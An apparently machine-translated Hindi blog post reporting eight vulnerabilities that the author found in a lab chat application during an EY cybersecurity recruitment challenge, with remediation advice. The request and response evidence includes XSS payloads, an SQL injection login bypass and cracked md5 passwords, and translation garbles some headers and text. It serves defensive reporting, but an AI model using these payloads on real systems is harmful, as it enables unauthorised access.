चैलेंज रॉकेट के माध्यम से 0 अंक EY GDS पोलैंड साइबर सुरक्षा चैलेंज के लिए रिपोर्ट

By | |

इस प्रवेश को दो भागों में बांटा गया है। पहले मैं कमजोरियों का वर्णन प्रकाशित करता हूं जिसे मैं "EY GDS पोलैंड साइबर सुरक्षा चैलेंज" के हिस्से के रूप में पहचानने में सक्षम था। दूसरे में, मैं उस रूप के बारे में अपनी आपत्तियों का वर्णन करता हूं जिसमें वह चुनौती दी गई थी और मैं ऐसा क्यों कर रहा हूं ।

भाग 1 – सुरक्षा त्रुटियों का पता चला

1. परावर्तित क्रॉस-साइट स्क्रिप्टिंग

CVSSv3 स्कोर: ८.०
CVSS v3 वेक्टर: एवी: N/AC: L/PR:L/UI:R/S:U/C:H/I:H/A:H
गंभीरता: महत्वपूर्ण

ढूंढना:
परीक्षण के दौरान परावर्तित क्रॉस साइट स्क्रिप्टिंग भेद्यता पाई गई है। यह आवेदन संदर्भ में जावास्क्रिप्ट कोड को इंजेक्ट करने और निष्पादित करने की अनुमति देता है। जावास्क्रिप्ट कोड केवल सर्वर द्वारा परिलक्षित होता है, जो संग्रहीत क्रॉस-साइट स्क्रिप्टिंग से अलग होता है जो आवेदन में स्थायी रूप से कोड स्टोर करता है। प्रमाणित उपयोगकर्ताओं के सत्रों को हाइजैक करने के लिए इस भेद्यता का ज्यादातर शोषण किया जाता है। इसका उपयोग उपयोगकर्ताओं को दुर्भावनापूर्ण वेबसाइटों पर रीडायरेक्ट करने या एप्लिकेशन उपयोगकर्ता की keystokes चोरी करने के लिए भी किया जा सकता है।

सबूत:
अनुरोध:

Get/index.php?login=testhqw60%22%3e%3cscript%3ealert (1)% 3c% 2fscript%3ek9nju&psw=test&page=login HTTP/1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif,image/webp, image/apng,/q=0.8,application/हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=login
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: PHPSESSID = 0f9k9rgvdg5lqfpvuhem70eo73
कनेक्शन: बंद

प्रतिक्रिया:

HTTP/1.1 200 ठीक है
दिनांक: मंगल, 05 जनवरी 2021 17:04:34 GMT
सर्वर: अपाचे/2.4.6 (CentOS) PHP/5.4.16
एक्स संचालित-द्वारा: PHP/5.4.16
समाप्त हो रहा है: Thu, 19 Nov 1981 08:52:00 GMT
कैश-कंट्रोल: नो-स्टोर, नो-कैश, रिवासिट, पोस्ट-चेक = 0, प्री-चेक = 0
प्रगमा: नो-कैश
सामग्री-लंबाई: 1248
कनेक्शन: बंद
सामग्री-प्रकार: पाठ/html; चारसेट=यूटीएफ-8<html>
<head>
    <title>आंतरिक चैट सिस्टम</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">मेरे संदेश</a>संदेश<a href="/index.php?logout">लॉगआउट</a> <a href="/index.php?page=new_message">भेजें</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_error'>लॉगिन विफलता</div>
<form target="_self">
    <div class="container">
        <label for="login"><b>लॉगिन</b></label>
        <input type="text" placeholder="Enter login" name="login" id="login"
               value="testhqw60"><script>alert(1)</script>k9nju "आवश्यक>

<label for="psw"> <b>पासवर्ड</b></label></div></form></div></div></body></html>

सिफारिश:
उचित इनपुट सत्यापन की कमी और उचित आउटपुट एन्कोडिंग की कमी से जारी परिणाम। नियमों और आउटपुट एन्कोडिंग दोनों को शामिल करने की दृढ़ता से सिफारिश की जाती है। <' and="" '="">'जरूरी' जैसे एचटीएमएल स्पेशल<' and="" '="">कैरेक्टर्स यूजर इनपुट, डेटाबेस और फाइल्स से पढ़े</'> गए सभी डेटा में एचटीएमएल-एन्कोडेड (क्रमशः की जगह'</'> होना जरूरी है। एक ही "(जो"के साथ प्रतिस्थापित किया जाना चाहिए) और ' (जो एक backslash हस्ताक्षर के साथ बच जाना चाहिए) जैसे पात्रों से संबंधित है । बदले में, सख्त इनपुट स्वच्छता का मतलब इनपुट सत्यापन के लिए एक अलग दृष्टिकोण है। उदाहरण के लिए, यदि किसी चर का उद्देश्य संख्या को पकड़ना है, तो यह जांचना बेहतर है कि क्या यह वास्तव में एक संख्या है (जैसे कि यह ^d+ $ नियमित अभिव्यक्ति या पूर्णांक कलाकारों के साथ मेल खाता है) के बजाय सभी संभावित बुरे पात्रों को फ़िल्टर करने की कोशिश की जाती है। सर्वर की ओर से होने वाले इनपुट सत्यापन अनिवार्य है, जबकि क्लाइंट साइड (एचटीएमएल/जावास्क्रिप्ट, वेब ब्राउज़र, जो उपयोगकर्ता द्वारा नियंत्रित किया जाता है) पर सत्यापन ज्यादातर उपयोगिता उद्देश्य के लिए मौजूद होना चाहिए, लेकिन तथाकथित डोम-आधारित क्रॉस साइट स्क्रिप्टिंग को रोकने के लिए भी। यदि किसी भी उपयोगकर्ता की आपूर्ति चर पूर्व स्वच्छता के बिना डेटाबेस/फ़ाइल/HTML दस्तावेज़ के लिए लिखा है, और फिर अंय उपयोगकर्ताओं को वापस प्रदर्शित, ऐसी भेद्यता एक संग्रहीत XSS, जो बहुत अधिक खतरनाक है क्योंकि यह उनके पक्ष में किसी भी कार्रवाई के बिना प्रमाणित उपयोगकर्ताओं के खिलाफ इस्तेमाल किया जा सकता है हो जाता है । इसके अलावा, आमतौर पर एक संग्रहीत XSS हमले का पैमाना एक परिलक्षित के मामले की तुलना में व्यापक होता है, क्योंकि कई उपयोगकर्ता प्रभावित हो सकते हैं।

संदर्भ:
CWE-७९
http://cwe.mitre.org/data/definitions/79.html
OWASP
http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

2. एसक्यूएल इंजेक्शन

CVSSv3 स्कोर: ८.८
CVSS v3 वेक्टर: एवी: N/AC: L/PR:L/UI:N/S:U/C:H/I:H/A:H
गंभीरता: महत्वपूर्ण

ढूंढना:
आवेदन के भीतर एसक्यूएल इंजेक्शन दोष पाया गया। यह भेद्यता एक संभावित हमलावर को अंतर्निहित डेटाबेस पर प्रत्यक्ष एसक्यूएल प्रश्नों को निष्पादित करने की अनुमति देती है। एक हमलावर उदाहरण के लिए डेटाबेस से सभी जानकारी प्राप्त कर सकता है जिस तक वर्तमान डेटाबेस उपयोगकर्ता तक पहुंच है। यह वेबसाइट को डीफेसिंग करने, डेटाबेस डेटा पर हेरफेर के माध्यम से XSS निष्पादित करने या सिस्टम कमांड निष्पादित करने की भी अनुमति देता है।

सबूत:
इस तथ्य के कारण आवेदन पैरामीटरीकरण का उपयोग नहीं करता है आवेदन में लगभग पूरे पैरामीटर एसक्यूएल इंजेक्शन के लिए कमजोर हैं।

निवेदन:

GET/index.php?login=व्यवस्थापक'या'&psw=xyz&page=login HTTP/1.1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif,image/webp, image/apng,/q=0.8,application/हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=login
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: PHPSESSID = 0f9k9rgvdg5lqfpvuhem70eo73
कनेक्शन: बंद

प्रतिक्रिया:

HTTP/1.1 302 पाया
दिनांक: मंगल, 05 जनवरी 2021 17:15:25 GMT
सर्वर: अपाचे/2.4.6 (CentOS) PHP/5.4.16
एक्स संचालित-द्वारा: PHP/5.4.16
समाप्त हो रहा है: Thu, 19 Nov 1981 08:52:00 GMT
कैश-कंट्रोल: नो-स्टोर, नो-कैश, रिवासिट, पोस्ट-चेक = 0, प्री-चेक = 0
प्रगमा: नो-कैश
स्थान: /इंडेक्स.php?loggedin
सामग्री-लंबाई: 666
कनेक्शन: बंद
सामग्री-प्रकार: पाठ/html; चारसेट=यूटीएफ-8<html>
<head>
    <title>आंतरिक चैट सिस्टम</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">मेरे संदेश</a>संदेश<a href="/index.php?logout">लॉगआउट</a> <a href="/index.php?page=new_message">भेजें</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>उपयोगकर्ता लॉग इन करें</div></div></div></body></html>

सिफारिश:
उपयोगकर्ताओं इनपुट डेटा में हर विशेष चरित्र को एसक्यूएल इंजेक्शन कमजोरियों को रोकने के लिए सर्वर की ओर फ़िल्टर किया जाना चाहिए या/और साफ किया जाना चाहिए । पूर्णांक मूल्यों को स्ट्रिंग मूल्यों की तरह नहीं माना जाना चाहिए और उन पर कार्रवाई करने से पहले पूर्णांक के रूप में पार्स किया जाना चाहिए। सबसे अच्छा अभ्यास उन सभी मामलों में तैयार (पैरामीटरीकृत) बयानों का उपयोग करना है जहां डेटाबेस प्रश्न मौजूद हैं।

संदर्भ:
CWE-89
http://cwe.mitre.org/data/definitions/89.html
OWASP
https://www.owasp.org/index.php/SQL_Injection
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md

3. संग्रहीत क्रॉस-साइट स्क्रिप्टिंग

CVSSv3 स्कोर: ८.०
CVSS v3 वेक्टर: एवी: N/AC: L/PR:L/UI:R/S:U/C:H/I:H/A:H
गंभीरता: महत्वपूर्ण

ढूंढना:
परीक्षण के दौरान संग्रहीत क्रॉस साइट स्क्रिप्टिंग कमजोरियां पाई गई हैं। प्रमाणित उपयोगकर्ताओं के सत्रों को हाइजैक करने के लिए इसका ज्यादातर फायदा उठाया जाता है। इस मुद्दे का परिणाम उचित इनपुट सत्यापन की कमी और उचित आउटपुट एन्कोडिंग की कमी से होता है। एक संग्रहीत XSS तब होता है जब किसी भी उपयोगकर्ता को कमजोर चर की आपूर्ति डेटाबेस/फ़ाइल को लिखा जाता है, और फिर अन्य उपयोगकर्ताओं को वापस प्रदर्शित किया जाता है । इसलिए संग्रहीत XSS बहुत अधिक खतरनाक है क्योंकि इसका उपयोग अन्य उपयोगकर्ताओं के खिलाफ फ़िशिंग जैसे उनके पक्ष में की गई किसी भी कार्रवाई के बिना किया जा सकता है। यह वेब ब्राउज़र कारनामे के उपयोग के साथ उपयोगकर्ताओं को संक्रमित करने के लिए बेहद उपयोगी हो सकता है, हमला आवेदन के विश्वास को कोस ।

सबूत:
अनुरोध:

GET/index.php?login=testy7sfo%3cscript%3ealert (1)% 3c% 2fscript%3ejil46&psw=test&psw-repeat=test&page=register http/1.1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif, छवि/webp, छवि/apng,*/*;q=0.8,application/पर हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=register
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: PHPSESSID = 0f9k9rgvdg5lqfpvuhem70eo73
कनेक्शन: बंद

निष्पादन बिंदु के साथ प्रतिक्रिया:

HTTP/1.1 200 ठीक है
दिनांक: मंगल, 05 जनवरी 2021 17:25:52 GMT
सर्वर: अपाचे/2.4.6 (CentOS) PHP/5.4.16
एक्स संचालित-द्वारा: PHP/5.4.16
समाप्त हो रहा है: Thu, 19 Nov 1981 08:52:00 GMT
कैश-कंट्रोल: नो-स्टोर, नो-कैश, रिवासिट, पोस्ट-चेक = 0, प्री-चेक = 0
प्रगमा: नो-कैश
कनेक्शन: बंद
सामग्री-प्रकार: पाठ/html; चारसेट=यूटीएफ-8
सामग्री-लंबाई: 15252<html>
<head>
    <title>आंतरिक चैट सिस्टम</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">मेरे संदेश</a>संदेश<a href="/index.php?logout">लॉगआउट</a> <a class="active" href="/index.php?page=new_message">भेजें</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>भेजा संदेश</div>
    <form target="_self">
        <div class="container">
            <h1>नया संदेश भेजें</h1>
            <p>कृपया उपयोगकर्ता का चयन करें और संदेश पाठ प्रदान करें</p>
            <hr>

            <label for="login"><b>उपभोक्ता</b></label>
            <select type="text" name="login" id="login" required="">
                                <option value="1">शासन
                                <option value="2">उपभोक्ता
                                <option value="4">प्र्रासिह्व
                                <option value="5">0
                                <option value="6">0
                                <option value="7">0
                                <option value="8">0
                                <option value="9">परीक्षण"
                                <option value="10">ykq1o3wmfv

[...]
मूल्य ="14">testgl11i"> <script>alert(1)</script> y9e06
                                <option 
[…]</select></div></form></div></div></body></html>

सिफारिश:
नियमों और आउटपुट एन्कोडिंग दोनों को शामिल करने की दृढ़ता से सिफारिश की जाती है। <' and="" '="">'जरूरी' जैसे एचटीएमएल स्पेशल<' and="" '="">कैरेक्टर्स यूजर इनपुट, डेटाबेस और फाइल्स से पढ़े</'> गए सभी डेटा में एचटीएमएल-एन्कोडेड (क्रमशः की जगह'</'> होना जरूरी है। एक ही "(जो"के साथ प्रतिस्थापित किया जाना चाहिए) और ' (जो एक backslash हस्ताक्षर के साथ बच जाना चाहिए) जैसे पात्रों से संबंधित है । बदले में, सख्त इनपुट स्वच्छता का मतलब इनपुट सत्यापन के लिए अलग दृष्टिकोण है। उदाहरण के लिए, यदि किसी चर का उद्देश्य संख्या को पकड़ना है, तो यह जांचना बेहतर है कि क्या यह वास्तव में एक संख्या है (जैसे कि यह ^d+ $ नियमित अभिव्यक्ति या पूर्णांक कलाकारों के साथ मेल खाता है) के बजाय सभी संभावित बुरे पात्रों को फ़िल्टर करने की कोशिश की जाती है। सर्वर की ओर और क्लाइंट दोनों तरफ इनपुट सत्यापन अनिवार्य है। क्लाइंट साइड (HTML/JavaScript, वेब ब्राउज़र, जो उपयोगकर्ता द्वारा नियंत्रित किया जाता है) पर सत्यापन डोम आधारित क्रॉस साइट स्क्रिप्टिंग होने से रोकता है। सर्वर साइट पर सत्यापन मानक (गैर-डोम) क्रॉस-साइट स्क्रिप्टिंग से रोकता है। यदि सुरक्षा केवल ग्राहक पक्ष सत्यापन पर निर्भर करती है, तो हमलावर के लिए एक वैकल्पिक इंटरफ़ेस बनाना और सर्वर पर दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजना मुश्किल नहीं है, सफलतापूर्वक इस तरह के तंत्र को दरकिनार करना। सर्वर साइड और क्लाइंट साइड दोनों पर सख्त इनपुट सत्यापन को दृढ़ता से लागू करना हमेशा आवश्यक होता है। यदि किसी भी उपयोगकर्ता की आपूर्ति चर डेटाबेस/फ़ाइल को लिखा है, और फिर अंय उपयोगकर्ताओं को वापस प्रदर्शित, ऐसी भेद्यता एक संग्रहीत XSS, जो बहुत अधिक खतरनाक है क्योंकि यह किसी भी उनके पक्ष में की गई कार्रवाई के बिना प्रमाणित उपयोगकर्ताओं के खिलाफ इस्तेमाल किया जा सकता है हो जाता है । इसके अलावा आमतौर पर एक संग्रहीत XSS हमले का पैमाना एक परिलक्षित के मामले की तुलना में व्यापक है।

संदर्भ:
CWE-७९
http://cwe.mitre.org/data/definitions/79.html
OWASP
http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

4. प्राधिकरण बाईपास

CVSSv3 स्कोर: ८.८
CVSS v3 वेक्टर: एवी: N/AC: L/PR:L/UI:N/S:U/C:H/I:H/A:H
गंभीरता: उच्च

निष्कर्ष:
यह पता चला है कि आवेदन में खराब प्राधिकरण कार्यान्वयन है। एक उपयोगकर्ता जो किसी विशेष फ़ंक्शन को कॉल करने के लिए संसाधन या यूआरएल के लिए सीधा रास्ता जानता है, उचित भूमिका अनुदान के बिना इसे एक्सेस कर सकता है। प्राधिकरण बाईपास ऐसा करने की अनुमति के बिना कुछ कार्यों को निष्पादित करने के लिए अनुमति देता है। उदाहरण के लिए एक अनधिकृत उपयोगकर्ता किसी अन्य उपयोगकर्ता प्रशासक को जोड़ने जैसे प्रशासनिक कार्यों को निष्पादित करने में सक्षम हो सकता है।

सबूत:
संदेश के लिए सीधे यूआरएल का उपयोग कोई भी व्यक्ति एक संदेश पढ़ सकता है जो सिर्फ बेलो यूआरएल पर संदेश आईडी बदलकर उससे संबंधित नहीं है: http://192.168.140.129/index.php?page=messages&message =
1

सिफारिश:
किसी संसाधन या फ़ंक्शन के प्रत्येक अनुरोध को ठीक से जांचने की आवश्यकता होती है यदि इस कार्रवाई को लागू करने वाले उपयोगकर्ता के पास उचित अनुमतियां हैं। प्रति यूआरएल/मॉड्यूल/फंक्शन और डिफॉल्ट एलान पॉलिसी की प्रविष्टियों के साथ एसीएल (एक्सेस कंट्रोल लिस्ट) जैसे तंत्र के कार्यान्वयन की अत्यधिक सिफारिश की जाती है ।

संदर्भ:
CWE-२८५
http://cwe.mitre.org/data/definitions/285.html
OWASP
https://www.owasp.org/index.php/Broken_Access_Control
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Access_Control_Cheat_Sheet.md

5. डिफ़ॉल्ट या आसानी से अनुमान लगाने योग्य उपयोगकर्ता साख

CVSSv3 स्कोर: ८.६
CVSS v3 वेक्टर: एवी: N/AC: L/PR:N/UI:N/S:U/C: H/I:L/A:L
गंभीरता: उच्च

ढूंढना:
डिफ़ॉल्ट या आसानी से अनुमान लगाने योग्य उपयोगकर्ता साख आवेदन सुरक्षा के लिए बहुत खतरनाक हैं। कोई ज्यादा प्रयास के साथ एक हमलावर आवेदन के निजी अनुभाग तक पहुंच प्राप्त कर सकते हैं। अनुमानित/फटा पासवर्ड अधिकृत उपयोगकर्ताओं के लिए आवेदन और धुरी हमलों के निजी अनुभाग में लॉग इन करने के लिए इस्तेमाल किया जा सकता है । अब एक हमलावर आवेदन का शोषण करने के लिए बहुत व्यापक क्षेत्र है।

सबूत:
पेंटेस्टर आवेदन में कमजोर पासवर्ड पाया। इसके अतिरिक्त, आवेदन एक कमजोर md5 हैशिंग विधि का उपयोग करें।

लॉगिन हैश पास
व्यवस्थापक d8578edf8458ce06fbc5bb7a58c5ca4 qwerty
उपयोगकर्ता 7815696ecbf1c96e6894b779456d330e asd

सिफारिश:
आवेदन में सभी डिफ़ॉल्ट पासवर्ड बदल दिया जाना चाहिए। आवेदन भी मजबूत पासवर्ड नीति को रोजगार चाहिए।

संदर्भ:
OWASP
https://www.owasp.org/index.php/Insecure_Configuration_Management

6. अनएन्क्रिप्टेड चैनल पर भेजा गया संवेदनशील डेटा

CVSSv3 स्कोर: ७.५
CVSS:3.0/एवी: N/AC:H/PR: N/UI:R/S:U/C:H/I:H/A:H
गंभीरता: उच्च

ढूंढना:
यह भेद्यता तब होती है जब संवेदनशील डेटा HTTP प्रोटोकॉल पर भेजा जाता है जो डेटा के किसी भी एन्क्रिप्शन को लागू नहीं करता है। इस चैनल पर भेजे जाने वाले किसी भी डेटा को सूंघने और छेड़छाड़ करने की संभावना होती है।

सबूत:
खतरनाक विधि का उपयोग करके अनएन्क्रिप्टेड चैनल का उपयोग करके पासवर्ड भेजे जाते हैं – अनुरोध प्रकार प्राप्त करें:

http के माध्यम से भेजे गए उपयोगकर्ता को पंजीकृत करने के लिए उपयोग किया जाने वाला अनुरोध:

जाओ/सूचकांक.php? लॉगिन =aaaa&psw=aaaa&psw-repeat=aaaa&page=register HTTP/1.1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif,image/webp, image/apng,/q=0.8,application/हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=register
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: adminer_version = 4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
कनेक्शन: बंद

http के माध्यम से भेजे गए उपयोगकर्ता को लॉगिन करने के लिए उपयोग किया जाने वाला अनुरोध:

जाओ/सूचकांक.php? लॉगिन=टेस्ट एंड पीएसडब्ल्यू=टेस्ट एंड पेज=लॉगिन HTTP/1.1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif,image/webp, image/apng,/q=0.8,application/हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=login
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: adminer_version = 4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
कनेक्शन: बंद

सिफारिश:
संवेदनशील डेटा की सुरक्षा के लिए HTTPS प्रोटोकॉल लागू किया जाना चाहिए। कृपया यह भी ध्यान दें कि जब HTTPS प्रोटोकॉल लागू किया जाएगा, कुकीज़ सुरक्षित ध्वज के साथ संरक्षित किया जाना चाहिए । यह HTTP पर कुकीज़ भेजने से रोकता है।

संदर्भ:
CWE-319
http://cwe.mitre.org/data/definitions/319.html
OWASP
https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_ (OWASP-AT-001)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.md

7. वर्बोज़ त्रुटि संदेश

CVSSv3 स्कोर: ६.५
CVSS v3 वेक्टर: एवी: N/AC: L/PR:N/UI:N/S:U/C:L/I:N/A:N
गंभीरता: मध्यम

ढूंढना:
परीक्षण के दौरान यह पता चला है कि कुछ अनुरोधों के मामले में, सर्वर एक त्रुटि अपवाद बाहर फेंकता है । अपवाद संदेश में बहुत सारी विस्तृत तकनीकी जानकारी हो सकती है, जिसमें फाइलनेम, पूर्ण पथ, बल्कि पुस्तकालयों, कक्षाओं और उपयोग किए जाने वाले तरीकों को भी शामिल किया गया है। यह जानकारी अन्य, महत्वपूर्ण हमलों (जैसे मनमाने ढंग से फ़ाइल पढ़ें, कोड निष्पादन या प्लेटफ़ॉर्म विशिष्ट हमलों) के संचालन में महत्वपूर्ण हो सकती है। इस तरह की विस्तार जानकारी केवल आवेदन डेवलपर्स और सिस्टम प्रशासकों के लिए उपलब्ध होनी चाहिए और कभी भी अंतिम उपयोगकर्ता को प्रकट नहीं किया जाना चाहिए।

सबूत:
अनुरोध:

GET/index.php?login=admin'%20or%20'1'&psw=xyz&page=login HTTP/1.1
मेजबान: 192.168.140.129
अपग्रेड-असुरक्षित-अनुरोध: 1
उपयोगकर्ता-एजेंट: मोज़िला/5.0 (विंडोज एनटी 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, छिपकली की तरह) क्रोम/89.0.4356.6 सफारी/537.36
स्वीकार करें: text/html, आवेदन/xhtml +xml, आवेदन/xml;q=0.9, छवि/avif,image/webp, image/apng,/q=0.8,application/हस्ताक्षरित-एक्सचेंज;v=b3;q=0.9
रेफरी: http://192.168.140.129/index.php?page=login
स्वीकार करें-एन्कोडिंग: gzip, डिफ्लेट
स्वीकार करें भाषा: एन-यूएस, एन;क्यू=0.9, एन-यूएस; q=0.8, en;q=0.7
कुकी: PHPSESSID = 0f9k9rgvdg5lqfpvuhem70eo73
कनेक्शन: बंद

प्रतिक्रिया:

HTTP/1.1 200 ठीक है
दिनांक: मंगल, 05 जनवरी 2021 17:13:52 GMT
सर्वर: अपाचे/2.4.6 (CentOS) PHP/5.4.16
एक्स संचालित-द्वारा: PHP/5.4.16
समाप्त हो रहा है: Thu, 19 Nov 1981 08:52:00 GMT
कैश-कंट्रोल: नो-स्टोर, नो-कैश, रिवासिट, पोस्ट-चेक = 0, प्री-चेक = 0
प्रगमा: नो-कैश
सामग्री-लंबाई: 753
कनेक्शन: बंद
सामग्री-प्रकार: पाठ/html; चारसेट=यूटीएफ-8<html>
<head>
    <title>आंतरिक चैट सिस्टम</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">मेरे संदेश</a>संदेश<a href="/index.php?logout">लॉगआउट</a> <a href="/index.php?page=new_message">भेजें</a>
              
              
          </nav>
          </div>
    <div style="margin-top:20px;">
      <br />
<b>घातक त्रुटि:</b>एक सदस्य समारोह लाने के लिए कॉल () में एक गैर वस्तु <b>पर/var/www/html/login.php</b> ऑनलाइन <b>7</b><br /></div></div></body></html>

सिफारिश:
उपयोगकर्ताओं को समाप्त करने के लिए वर्बोज़ त्रुटियां प्रदान नहीं की जानी चाहिए। इसके बजाय दोस्ताना स्थिर त्रुटि पृष्ठों प्रदान किया जाना चाहिए। त्रुटि कारण कोड के भीतर जांच की जानी चाहिए।

संदर्भ:


OWASP CWE-209 http://cwe.mitre.org/data/definitions/209.html

CWE-200 https://www.owasp.org/index.php/Information_Leakage: सूचना एक्सपोजर http://cwe.mitre.org/data/definitions/200.html

किंगडम: पर्यावरण http://www.hpenterprisesecurity.com/vulncat/en/vulncat/intro.html

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Error_Handling_Cheat_Sheet.md

8. सूचना प्रकटीकरण

CVSSv3 स्कोर: ५.३
CVSS v3 वेक्टर: एवी: N/AC: L/PR:N/UI:N/S:U/C:L/I:N/A:N
गंभीरता: कम

ढूंढना:
सूचना प्रकटीकरण भेद्यता तब होती है जब संवेदनशील जानकारी आवेदन द्वारा किसी भी तरह से लीक हो जाती है। उदाहरण के लिए सर्वर या एप्लिकेशन विन्यास उजागर होता है। इस मुद्दे की गंभीरता लीक होने वाली जानकारी पर निर्भर करती है ।

सबूत:
नीचे दी गई फ़ाइलें सार्वजनिक रूप से सुलभ नहीं होनी चाहिए: http://192.168.140.129/info.php

http://192.168.140.129/adminer.php

हेडर में सर्वर और संस्करण प्रकटीकरण:
सर्वर: अपाचे/2.4.6 (CentOS) PHP/5.4.16

कुकी में प्रयुक्त सॉफ्टवेयर और संस्करण प्रकटीकरण:
कुकी: PHPSESSID= 0f9k9rgvdg5lqfpvuhem70eo73; adminer_version =4.7.8

सिफारिश:
कोई अतिरिक्त जानकारी लीक नहीं की जानी चाहिए। केवल उपयोगकर्ता की जरूरत है कि जानकारी उपलब्ध होना चाहिए/

संदर्भ:
CWE-२००
http://cwe.mitre.org/data/definitions/200.html
OWASP
https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

भाग 2 – "EY GDS ब्रिटेन साइबर सुरक्षा चैलेंज चैलेंज रॉकेट के माध्यम से आपत्तियां"

